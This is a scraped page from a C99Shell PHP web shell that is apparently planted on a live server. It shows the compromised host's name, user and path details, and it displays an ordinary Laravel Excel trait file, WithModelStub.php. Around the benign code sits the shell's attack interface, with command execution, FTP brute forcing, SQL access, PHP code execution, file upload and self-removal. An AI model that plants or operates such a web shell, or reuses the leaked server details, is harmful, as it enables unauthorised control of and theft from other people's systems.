!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/maatwebsite/excel/src/Console/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WithModelStub.php (1.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel\Console;

use 
Illuminate\Support\Str;
use 
InvalidArgumentException;

trait 
WithModelStub
{
    
/**
     * Build the model replacement values.
     *
     * @param  array  $replace
     * @return array
     */
    
protected function buildModelReplacements(array $replace): array
    {
        
$modelClass $this->parseModel($this->option('model'));

        return 
array_merge($replace, [
            
'DummyFullModelClass' => $modelClass,
            
'DummyModelClass'     => class_basename($modelClass),
        ]);
    }

    
/**
     * Get the fully-qualified model class name.
     *
     * @param  string  $model
     * @return string
     */
    
protected function parseModel($model): string
    
{
        if (
preg_match('([^A-Za-z0-9_/\\\\])'$model)) {
            throw new 
InvalidArgumentException('Model name contains invalid characters.');
        }

        
$model ltrim($model'\\/');

        
$model str_replace('/''\\'$model);

        
$rootNamespace $this->rootNamespace();

        if (
Str::startsWith($model$rootNamespace)) {
            return 
$model;
        }

        
$model is_dir(app_path('Models'))
            ? 
$rootNamespace 'Models\\' $model
            
$rootNamespace $model;

        return 
$model;
    }

    
/**
     * Resolve the fully-qualified path to the stub.
     *
     * @param  string  $stub
     * @return string
     */
    
protected function resolveStubPath($stub)
    {
        return 
file_exists($customPath $this->laravel->basePath(trim($stub'/')))
            ? 
$customPath
            
__DIR__ $stub;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--